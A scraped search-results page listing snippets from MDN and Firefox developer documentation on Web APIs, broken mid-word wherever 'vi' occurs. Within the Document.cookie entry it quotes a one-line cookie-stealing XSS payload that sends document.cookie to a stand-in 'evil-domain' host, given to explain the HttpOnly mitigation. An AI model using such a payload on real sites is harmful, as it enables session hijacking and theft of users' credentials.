vided into various types - running javascript, updating layout, and so on - and that at any given point in time, the browser is doing one of those things.
... the markers, and their colors, are the same in the waterfall tool as in the waterfall over
view, making is easy to correlate from one to the other.
... filtering markers you can control which markers are displayed using a button in the toolbar: waterfall patterns exactly what you'll see in the waterfall is very dependent on the kind of thing your site is doing: javascript-heavy sites will have a lot of orange, while
visually dynamic sites will have a lot of purple and green.
...And 2 more matches
Taking screenshots - Firefox Developer Tools
to enable it:
visit the settings page find the section labeled "available toolbox buttons" check the box labeled "take a screenshot of the entire page".
... taking screenshots with the web console if you need to specify a different de
vice-pixel-ratio, set a delay before taking the screenshot, or specify your own file name, starting in firefox 62 you can use the :screenshot helper function in the web console.
...prevents sa
ving to a file unless you use the --file option to force file writing.
...And 2 more matches
Validators - Firefox Developer Tools
checky checky adds a submenu to your netscape or mozilla context menu that allows you to run whatever page you're on through one of (currently) 18 different online validaton and analysis ser
vices.
... applications and ser
vices devedge web tune-up wizard this interface to w3c ser
vices guides beginning-to-intermediate web authors through the process of updating content to support netscape 7.x, mozilla and other browsers that support w3c standards.
... w3c rdf validator the rdf validator ser
vice will validate the rdf/xml contained on a given uri.
...And 2 more matches
AbortSignal - Web APIs
the abortsignal interface represents a signal object that allows you to communicate with a dom request (such as a fetch) and abort it if required
via an abortcontroller object.
... also available
via the onabort property.
... examples in the following snippet, we aim to download a
video using the fetch api.
...And 2 more matches
Accelerometer - Web APIs
the accelerometer interface of the sensor apis pro
vides on each reading the acceleration applied to the de
vice along all three axes.
... to use this sensor, the user must grant permission to the 'accelerometer', de
vice sensor through the permissions api.
... properties accelerometer.x read only returns a double containing the acceleration of the de
vice along the de
vice's x axis.
...And 2 more matches
Ambient Light Events - Web APIs
light events when the light sensor of a de
vice detects a change in the light level, it notifies the browser of that change.
... when the browser gets such a notification, it fires a de
vicelightevent event that pro
vides information about the exact light intensity (in lux units).
... this event can be captured at the window object level by using the addeventlistener method (using the de
vicelight event name) or by attaching an event handler to the window.onde
vicelight property.
...And 2 more matches
AnalyserNode - Web APIs
the analysernode interface represents a node able to pro
vide real-time frequency and time-domain analysis information.
... it is an audionode that passes the audio stream unchanged from the input to the output, but allows you to take the generated data, process it, and create audio
visualizations.
... channel count 2 channel interpretation "speakers" inheritance this interface inherits from the following parent interfaces: <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
...And 2 more matches
Attr - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
...you should re
vise your code accordingly.
... as that doesn't hold true in cases like attr objects being returned by document.evaluate, the dom li
ving standard reintroduced the property.
...And 2 more matches
AudioContext.createMediaStreamSource() - Web APIs
the createmediastreamsource() method of the audiocontext interface is used to create a new mediastreamaudiosourcenode object, given a media stream (say, from a mediade
vices.getusermedia instance), the audio from which can then be played and manipulated.
... example in this example, we grab a media (audio +
video) stream from na
vigator.getusermedia, feed the media into a <
video> element to play then mute the audio, but then also feed the audio into a mediastreamaudiosourcenode.
... the range slider below the <
video> element controls the amount of gain given to the lowpass filter — increase the value of the slider to make the audio sound more bass heavy!
...And 2 more matches
AudioListener.setPosition() - Web APIs
pannernode objects use this position relative to indi
vidual audio sources for spatialisation.
...you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
...And 2 more matches
AudioTrack.enabled - Web APIs
function swapcommentarymain() { var
videoelem = document.getelementbyid("main-
video"); var audiotrackmain; var audiotrackcommentary;
videoelem.audiotracks.foreach(track) { if (track.kind === "main") { audiotrackmain = track; } else if (track.kind === "commentary") { audiotrackcommentary = track; } } if (audiotrackmain && audiotrackcommentary) { var commentaryenabled = audiotrackcommentary.enable...
...d; audiotrackcommentary.enabled = audiotrackmain.enabled; audiotrackmain.enabled = commentaryenabled; } } the swapcommentarymain() function above finds within the audio tracks of the <
video> element "main-
video" the audio tracks whose kind values are "main" and "commentary".
... note: this example assumes that there is only one of each kind of track in the
video, but this is not necessarily the case.
...And 2 more matches
AudioTrack.kind - Web APIs
"descriptions" an audio track pro
viding audible descriptions of the action depicted in a
video track.
...this might be used to contain the director's commentary track on a mo
vie, for example.
... "" (empty string) the track doesn't have an explicit kind, or the kind pro
vided by the track's metadata isn't recognized by the user agent.
...And 2 more matches
AudioWorkletProcessor - Web APIs
the constructor of the deri
ving class is getting called with an options object, so you can perform a custom initialization procedures — see constructor page for details.
...however, you must pro
vide a process() method, which is called in order to process the audio stream.
... usage notes deri
ving classes to define custom audio processing code you have to derive a class from the audioworkletprocessor interface.
...And 2 more matches
BaseAudioContext.createBuffer() - Web APIs
the createbuffer() method of the baseaudiocontext interface is used to create a new, empty audiobuffer object, which can then be populated by data, and played
via an audiobuffersourcenode for more details about audio buffers, check out the audiobuffer reference page.
...the asynchronous method decodeaudiodata() does the same thing — takes compressed audio, say, an mp3 file, and directly gives you back an audiobuffer that you can then set to play
via in an audiobuffersourcenode.
... examples first, a couple of simple tri
vial examples, to help explain how the parameters are used: var audioctx = new audiocontext(); var buffer = audioctx.createbuffer(2, 22050, 44100); if you use this call, you will get a stereo buffer (two channels), that, when played back on an audiocontext running at 44100hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames / 44100hz = 0.5 seconds.
...And 2 more matches
BeforeUnloadEvent - Web APIs
when no value is pro
vided, the event is processed silently.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,2...
..."50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">beforeunloadevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} bubbles no cancelable yes target objects default
view interface event examples window.addeventlistener("beforeunload", function( event ) { event.returnvalue = "\o/"; }); // is equivalent to window.addeventlistener("beforeunload", function( event ) { event.preventdefault(); }); webkit-derived browsers don't follow the spec for the dialog box.
...And 2 more matches
BluetoothAdvertisingData - Web APIs
the bluetoothde
vice interface of the web bluetooth api pro
vides advertising data about a particular bluetooth de
vice.
...rssi; readonly attribute map manufacturerdata; readonly attribute map ser
vicedata; }; properties bluetoothadvertisingdata.appearance read only returns one of the values defined by the org.bluetooth.characteristic.gap.appearance characteristic.
... bluetoothadvertisingdata.txpower read only returns the transmission power at which the de
vice is broadcasting, measured in dbm.
...And 2 more matches
characteristic - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcharacteristic experimentalchrome full support 57notes full support 57notes notes macos only.
...to change preferences in chrome,
visit chrome://flags.
... full support 57notes notes windows 10.safari no support noweb
view android no support nochrome android full support 57firefox android no support noopera android full support 44safari ios no support nosamsung internet android ...
...And 2 more matches
readValue() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadvalue experimentalchrome full support 57notes full support 57notes notes macos only.
...to change preferences in chrome,
visit chrome://flags.
... full support 57notes notes windows 10.safari no support noweb
view android no support nochrome android full support 57firefox android no support noopera android full support 44safari ios no support nosamsung internet android ...
...And 2 more matches
uuid - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetuuid experimentalchrome full support 57notes full support 57notes notes macos only.
...to change preferences in chrome,
visit chrome://flags.
... full support 57notes notes windows 10.safari no support noweb
view android no support nochrome android full support 57firefox android no support noopera android full support 44safari ios no support nosamsung internet android ...
...And 2 more matches
value - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvalue experimentalchrome full support 57notes full support 57notes notes macos only.
...to change preferences in chrome,
visit chrome://flags.
... full support 57notes notes windows 10.safari no support noweb
view android no support nochrome android full support 57firefox android no support noopera android full support 44safari ios no support nosamsung internet android ...
...And 2 more matches
writeValue() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwritevalue experimentalchrome full support 57notes full support 57notes notes macos only.
...to change preferences in chrome,
visit chrome://flags.
... full support 57notes notes windows 10.safari no support noweb
view android no support nochrome android full support 57firefox android no support noopera android full support 44safari ios no support nosamsung internet android ...
...And 2 more matches
Using the CSS Typed Object Model - Web APIs
converting css object model value strings into meaningfully-typed javascript representations and back (
via htmlelement.style) can incur a significant performance overhead.
... the css typed om makes css manipulation more logical and performant by pro
viding object features (rather than cssom string manipulation), pro
viding access to types, methods, and an object model for css values.
... this article pro
vides an introduction to all of its main features.
...And 2 more matches
CacheStorage - Web APIs
the interface: pro
vides a master directory of all the named caches that can be accessed by a ser
viceworker or other type of worker or window scope (you’re not limited to only using it with ser
vice workers, even though the ser
vice workers spec defines it).
...those that aren't using https, although this definition will likely become more complex in the future.) when testing, you can get around this by checking the "enable ser
vice workers over http (when toolbox is open)" option in the firefox devtools options/gear menu.
... examples this code snippet is from the mdn sw-test example (see sw-test running live.) this ser
vice worker script waits for an installevent to fire, then runs waituntil to handle the install process for the app.
...And 2 more matches
CanvasRenderingContext2D.drawImage() - Web APIs
the canvasrenderingcontext2d.drawimage() method of the canvas 2d api pro
vides different ways to draw an image onto the canvas.
...the specification permits any canvas image source (canvasimagesource), specifically, a cssimagevalue, an htmlimageelement, an svgimageelement, an html
videoelement, an htmlcanvaselement, an imagebitmap, or an offscreencanvas.
...the same goes for
videowidth and
videoheight if the element is a <
video> element, and so on.
...And 2 more matches
CanvasRenderingContext2D.filter - Web APIs
the canvasrenderingcontext2d.filter property of the canvas 2d api pro
vides filter effects such as blurring and grayscaling.
...it defines the value of the standard de
viation to the gaussian function, i.e., how many pixels on the screen blend into each other; thus, a larger value will create more blur.
... examples to
view these examples, make sure to use a browser that supports this feature; see the compatibility table below.
...And 2 more matches
A basic ray-caster - Web APIs
this article pro
vides an interesting real-world example of using the <canvas> element to do software rendering of a 3d en
vironment using ray-casting.
... the canvas over
view and tutorial i found here at mdn are great, but nobody had written about animation yet, so i thought i'd try a port of a basic raycaster i'd worked on a while ago, and see what sort of performance we can expect from a javascript-controlled pixel buffer.
...after every interval an update function will repaint the canvas showing the current
view.
...And 2 more matches
Finale - Web APIs
« pre
vious congratulations!
... game development gaming is one of the most popular computer acti
vities.
... new technologies are constantly arri
ving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser.
...And 2 more matches
Channel Messaging API - Web APIs
the channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, two documents
via a sharedworker, or two workers) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.
...t created the channel uses port1, and the app at the other end of the port uses port2 — you send a message to port2, and transfer the port over to the other browsing context using window.postmessage along with two arguments (the message to send, and the object to transfer ownership of, in this case the port itself.) when these transferable objects are transferred, they are 'neutered' on the pre
vious context — the one they pre
viously belonged to.
... messageport controls the ports on the message channel, allowing sending of messages from one port and listening out for them arri
ving at the other.
...And 2 more matches
Clipboard - Web APIs
the clipboard interface implements the clipboard api, pro
viding—if the user grants permission—both read and write access to the contents of the system clipboard.
... the system clipboard is exposed through the global na
vigator.clipboard property.
... the clipboard is a data buffer that is used for short-term, data storage and/or data transfers, this can be between documents or applications it is usually implemented as an anonymous, temporary data buffer, sometimes called the paste buffer, that can be accessed from most or all programs within the en
vironment
via defined programming interfaces.
...And 2 more matches
ClipboardItem - Web APIs
the clipboarditem interface of the clipboard api represents a single item format, used when reading or writing data
via the clipboard api.
... the benefit of ha
ving the clipboarditem interface to represent data, is that it enables developers to cope with the varying scope of file types and data easily.
... constructor clipboarditem.clipboarditem() creates a new clipboarditem object, with the mime type as the key and blob as the value properties this interface pro
vides the following properties.
...And 2 more matches
Console API - Web APIs
the console api pro
vides functionality to allow developers to perform debugging tasks, such as logging messages or the values of variables at set points in your code, or timing how long an operation takes to complete.
...the console api spec was created to define consistent beha
vior, and all modern browsers eventually settled on implementing this beha
vior — although some implementations still have their own additional proprietary functions.
... find out about these at: google chrome devtools implementation safari devtools implementation usage is very simple — the console object — available
via window.console, or workerglobalscope.console in workers; accessible using just console — contains many methods that you can call to perform rudimentary debugging tasks, generally focused around logging various values to the browser's web console.
...And 2 more matches
DirectoryEntrySync - Web APIs
it includes methods for creating, reading, looking up, and recursively remo
ving files in a directory.
... this specification is pretty much abandoned, ha
ving failed to reach any substantial traction.
... var direntry = fs.root.getdirectory('superseekrit', {create: true}); method over
view directoryreadersync createreader () raises (fileexception); fileentrysync getfile (in domstring path, in optional flags options) raises (fileexception); directoryentrysync getdirectory (in domstring path, in optional flags options) raises (fileexception); void removerecursively () raises (fileexception); methods createreader() creates a new directo...
...And 2 more matches
DisplayMediaStreamConstraints - Web APIs
the displaymediastreamconstraints dictionary is used to specify whether or not to include
video and/or audio tracks in the mediastream to be returned by getdisplaymedia(), as well as what type of processing must be applied to the tracks.
... processing information is specified using mediatrackconstraints objects pro
viding options which are applied to the track after the media data is received but before it is made available on the mediastream.
...if a mediatrackconstraints object is pro
vided here, an audio track is included in the stream, but the audio is processed to match the specified constraints after being retrieved from the hardware but before being added to the mediastream.
...And 2 more matches
Document.cookie - Web APIs
the lax value value will send the cookie for all same-site requests and top-level na
vigation get requests.
... function doonce() { if (!document.cookie.split('; ').find(row => row.startswith('dosomethingonlyonce'))) { alert("do something here!"); document.cookie = "dosomethingonlyonce=true; expires=fri, 31 dec 9999 23:59:59 gmt"; } } <button onclick="doonce()">only do something once</button> example #4: reset the pre
vious cookie function resetonce() { document.cookie = "dosomethingonlyonce=; expires=thu, 01 jan 1970 00:00:00 gmt"; } <button onclick="resetonce()">reset only once cookie</button> example #5: check a cookie existence //es5 if (document.cookie.split(';').some(function(item) { return item.trim().indexof('reader=') == 0 })) { console.log('the cookie "reader" exists (es5)') } //es2016...
...common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.e
vil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript.
...And 2 more matches
Document.evaluate() - Web APIs
this is because the evaluation of the query spends does not waste time
visiting unnecessary nodes.
... using // is generally slow as it
visits every node from the root and all subnodes looking for possible matches.
...if the "." was left out (lea
ving //h2) the query would start from the root node (html) which would be more wasteful.) see introduction to using xpath in javascript for more information.
...And 2 more matches
Document.execCommand() - Web APIs
avalueargument for commands which require an input argument, is a domstring pro
viding that information.
...conditions of ha
ving this beha
vior enabled vary from one browser to another, and have evolved over time.
...when this beha
vior is enabled varies between browsers, and its conditions have evolved over time.
...And 2 more matches
Element.getClientRects() - Web APIs
each domrect object contains read-only left, top, right and bottom properties describing the border box, in pixels, with the top-left relative to the top-left of the
viewport.
...when called on svg elements other than an outer-<svg>, the "
viewport" that the resulting rectangles are relative to is the
viewport that the element's outer-<svg> establishes (and to be clear, the rectangles are also transformed by the outer-<svg>'s
viewbox transform, if any).
... the amount of scrolling that has been done of the
viewport area (or any other scrollable element) is taken into account when computing the rectangles.
...And 2 more matches
Event.eventPhase - Web APIs
ck 'd1'</li> <li>analyse event propagation chain</li> <li>click next div and repeat the experience</li> <li>change capturing mode</li> <li>repeat the experience</li> </ul> <input type="checkbox" id="chcapture" /> <label for="chcapture">use capturing</label> <div id="d1">d1 <div id="d2">d2 <div id="d3">d3 <div id="d4">d4</div> </div> </div> </div> <div id="di
vinfo"></div> css div { margin: 20px; padding: 4px; border: thin black solid; } #di
vinfo { margin: 18px; padding: 8px; background-color:white; font-size:80%; } javascript let clear = false, di
vinfo = null, divs = null, usecapture = false; window.onload = function () { di
vinfo = document.getelementbyid('di
vinfo') divs = document.getelementsbytagname('div') chcap...
...ture = document.getelementbyid('chcapture') chcapture.onclick = function () { removelisteners() addlisteners() } clear() addlisteners() } function removelisteners() { for (let i = 0; i < divs.length; i++) { let d = divs[i] if (d.id != "di
vinfo") { d.removeeventlistener("click", ondivclick, true) d.removeeventlistener("click", ondivclick, false) } } } function addlisteners() { for (let i = 0; i < divs.length; i++) { let d = divs[i] if (d.id != "di
vinfo") { if (chcapture.checked) { d.addeventlistener("click", ondivclick, true) } else { d.addeventlistener("click", ondivclick, false) d.onmousemove = function () { clear = true } } } } } function ondivclick(e) { if (...
..."bubbling" : "error"; di
vinfo.innerhtml += e.currenttarget.id + "; eventphase: " + level + "<br/>"; } function clear() { for (let i = 0; i < divs.length; i++) { if (divs[i].id != "di
vinfo") { divs[i].style.backgroundcolor = (i & 1) ?
...And 2 more matches
EventTarget.removeEventListener() - Web APIs
the eventtarget.removeeventlistener() method removes from the eventtarget an event listener pre
viously registered with eventtarget.addeventlistener().
...removal of a capturing listener does not affect a non-capturing version of the same listener, and
vice versa.
... return value undefined matching event listeners for removal given an event listener pre
viously added by calling addeventlistener(), you may eventually come to a point at which you need to remove it.
...And 2 more matches
FederatedCredential.protocol - Web APIs
if this property is null, the protocol may be inferred from the federatedcredential.pro
vider property.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprotocol experimentalchrome full support 51edge full support ≤79firefox ?
... web
view android full support 51chrome android full support 51firefox android ?
...And 2 more matches
FetchEvent.request - Web APIs
this property is non-nullable (since version 46, in the case of firefox.) if a request is not pro
vided by some other means, the constructor init object must contain a request (see fetchevent.fetchevent().) syntax var recentrequest = fetchevent.request; value a request object.
... example this code snippet is from the ser
vice worker fetch sample (run the fetch sample live).
... the ser
viceworkerglobalscope.onfetch event handler listens for the fetch event.
...And 2 more matches
FileEntrySync - Web APIs
method over
view filewritersync createwriter () raises (fileexception); file file () raises (fileexception); methods createwriter() creates a new filewriter associated with the file that the fileentry represents.
... invalid_state_err the file is no longer valid for some reason other than it ha
ving been deleted.
... invalid_state_err the file is no longer valid for some reason other than it ha
ving been deleted.
...And 2 more matches
FileSystem - Web APIs
instead you will have a "
virtual drive" within the browser sandbox.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystemchrome full support 7alternate name full support 7alternate name alternate name uses the non-standard name: domfilesystemedge full support ≤18prefixed notes ...
...te.firefox full support 50ie no support noopera full support 15prefixed full support 15prefixed prefixed implemented with the vendor prefix: webkitsafari full support 11.1web
view android full support ≤37alternate name full support ≤37alternate name alternate name uses the non-standard name: domfilesystemchrome android full support 18alternate name full support 18alternate name alternate ...
...And 2 more matches
FileSystemEntry.fullPath - Web APIs
function gotfilesystem(fs) { let path = ""; fs.root.getfile("data.json", { create: true, exclusive: true }, function(entry) { path = fullpath; }, handleerror(error)); return path; } ob
viously, this is somewhat contrived, since we know that the file's full path is "/data.json", ha
ving just looked it up ourselves, but the concept holds up for scenarios in which you don't know it.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfullpath experimentalchrome full support 8edge full support 79firefox full support 50ie no support noopera no support ...
... nosafari full support 11.1web
view android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yeslegend full support full support no support no supportexperimental.
...And 2 more matches
FileSystemEntry.isDirectory - Web APIs
you should not assume that any entry which isn't a directory is a file or
vice-versa.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetisdirectory experimentalchrome full support 8edge full support 79firefox full support 50ie no support noopera no suppor...
...t nosafari full support 11.1web
view android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yeslegend full support full support no support no supportexperimental.
...And 2 more matches
FileSystemEntry.isFile - Web APIs
you should not assume that any entry which isn't a file is a directory or
vice-versa.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetisfile experimentalchrome full support 8edge full support 79firefox full support 50ie no support noopera no support ...
... nosafari full support 11.1web
view android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yeslegend full support full support no support no supportexperimental.
...And 2 more matches
FileSystemEntry.remove() - Web APIs
fileerror.no_modification_allowed_err the file system's state doesn't permit remo
ving the file or directory.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetremove experimentaldeprecatednon-standardchrome full support 8edge full support 79firefox no support noie no support noopera ...
... no support nosafari no support noweb
view android full support ≤37chrome android full support 18firefox android no support noopera android no support nosafari ios no support nosamsung internet android full support yeslegend full support full support no support no supportexperimental.
...And 2 more matches
FileSystemFlags.create - Web APIs
false n/a[1] path exists but doesn't match the desired type the errorcallback is called with an appropriate error code (if the callback was pro
vided).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreate experimentalchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤79prefixed full ...
...this option has no effect.ie no support noopera no support nosafari no support noweb
view android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitchrome android full support yesprefixed full support yesprefixed prefixed implemented with the vendor pref...
...And 2 more matches
FileSystemFlags.exclusive - Web APIs
false n/a[1] path exists but doesn't match the desired type the errorcallback is called with an appropriate error code (if the callback was pro
vided).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexclusive experimentalchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤79prefixed fu...
...this option has no effect.ie no support noopera no support nosafari no support noweb
view android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitchrome android full support yesprefixed full support yesprefixed prefixed implemented with the vendor pref...
...And 2 more matches
File and Directory Entries API support in Firefox - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the original file system api was created to let browsers implement support for accessing a sandboxed
virtual file system on the user's storage de
vice.
...over time, a number of popular sites and web applications came to use it, often without pro
viding any means of falling back to standard apis or even checking to be sure the api is available before using it.
...And 2 more matches
GamepadEvent - Web APIs
properties gamepadevent.gamepad read only returns a gamepad object, pro
viding access to the associated gamepad data for the event fired.
... working draft initial definition browser compatibility desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgamepadeventchrome full support 35 full support 35 no support 21 — 34prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤18...
...to change preferences in firefox,
visit about:config.ie no support noopera full support 22 full support 22 no support 15 — 21prefixed prefixed implemented with the vendor prefix: webkitsafari full support 10.1web
view android no support ...
...And 2 more matches
GlobalEventHandlers.onerror - Web APIs
instead the error reported is simply "script error." this beha
vior can be overriden in some browsers using the crossorigin attribute on <script> and ha
ving the server send the appropriate cors http response headers.
... a workaround is to isolate "script error." and handle it knowing that the error detail is only
viewable in the browser console and not accessible
via javascript.
...in browsers that have not implemented this requirement, they can still be obtained
via arguments[0] through arguments[2].
...And 2 more matches
GlobalEventHandlers - Web APIs
globaleventhandlers.onauxclick an eventhandler called when an auxclick event is sent, indicating that a non-primary button has been pressed on an input de
vice (e.g.
... html li
ving standardthe definition of 'globaleventhandlers' in that specification.
... li
ving standard no change since the latest snapshot, html 5.1.
...And 2 more matches
Gyroscope - Web APIs
the gyroscope interface of the sensor apis pro
vides on each reading the angular velocity of the de
vice along all three axes.
... to use this sensor, the user must grant permission to the 'gyroscope' de
vice sensor through the permissions api.
... properties gyroscope.x read only returns a double, containing the angular velocity of the de
vice along the de
vice's x axis.
...And 2 more matches
HTMLAreaElement - Web APIs
the htmlareaelement interface pro
vides special properties and methods (beyond those of the regular object htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of <area> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html li
ving standardthe definition of 'htmlareaelement' in that specification.
...And 2 more matches
HTMLButtonElement - Web APIs
the htmlbuttonelement interface pro
vides properties and methods (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating <button> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... htmlbuttonelement.type is a domstring indicating the beha
vior of the button.
...And 2 more matches
HTMLCanvasElement.getContext() - Web APIs
"bitmaprenderer" which will create an imagebitmaprenderingcontext which only pro
vides functionality to replace the content of the canvas with a given imagebitmap.
... "low-power": prioritizes power sa
ving over rendering performance.
... specifications specification status comment html li
ving standardthe definition of 'htmlcanvaselement.getcontext' in that specification.
...And 2 more matches
HTMLCanvasElement - Web APIs
the htmlcanvaselement interface pro
vides properties and methods for manipulating the layout and presentation of <canvas> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><l...
... htmlcanvaselement.capturestream() returns a canvascapturemediastream that is a real-time
video capture of the surface of the canvas.
...And 2 more matches
HTMLImageElement.complete - Web APIs
the image element has pre
viously determined that the image is fully available and ready for use.
... examples consider a photo library app that pro
vides the ability to open images into a lightbox mode for improved
viewing as well as editing of the image.
...*/ function fixredeyecommand() { if (lightboxelem.style.display === "block" && lightboximgelem.complete) { fixredeye(lightboximgelem); } else { /* can't start doing this until the image is fully loaded */ } } specifications specification status comment html li
ving standardthe definition of 'htmlimageelement.complete' in that specification.
...And 2 more matches
HTMLImageElement.hspace - Web APIs
specifications specification status comment html li
ving standardthe definition of 'htmlimageelement.hspace' in that specification.
... li
ving standard html 4.01 specificationthe definition of 'htmlimageelement.hspace' in that specification.
... recommendation pro
vides additional details not present in the newer specification.
...And 2 more matches
HTMLLinkElement.as - Web APIs
the as property of the htmllinkelement interface returns a domstring representing the type of content being loaded by the html link, one of "script", "style", "image", "
video", "audio", "track", "font", "fetch".
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetas experimentalchrome full support 50edge full support 17firefox full support 56ie full support yesopera full support ...
... 37safari full support yesweb
view android full support 50chrome android full support 50firefox android full support 56opera android full support 37safari ios full support yessamsung internet android full support 5.0legend full support full supportexperimental.
...And 2 more matches
HTMLLinkElement - Web APIs
the htmllinkelement interface represents reference information for external resources and the relationship of those resources to a document and
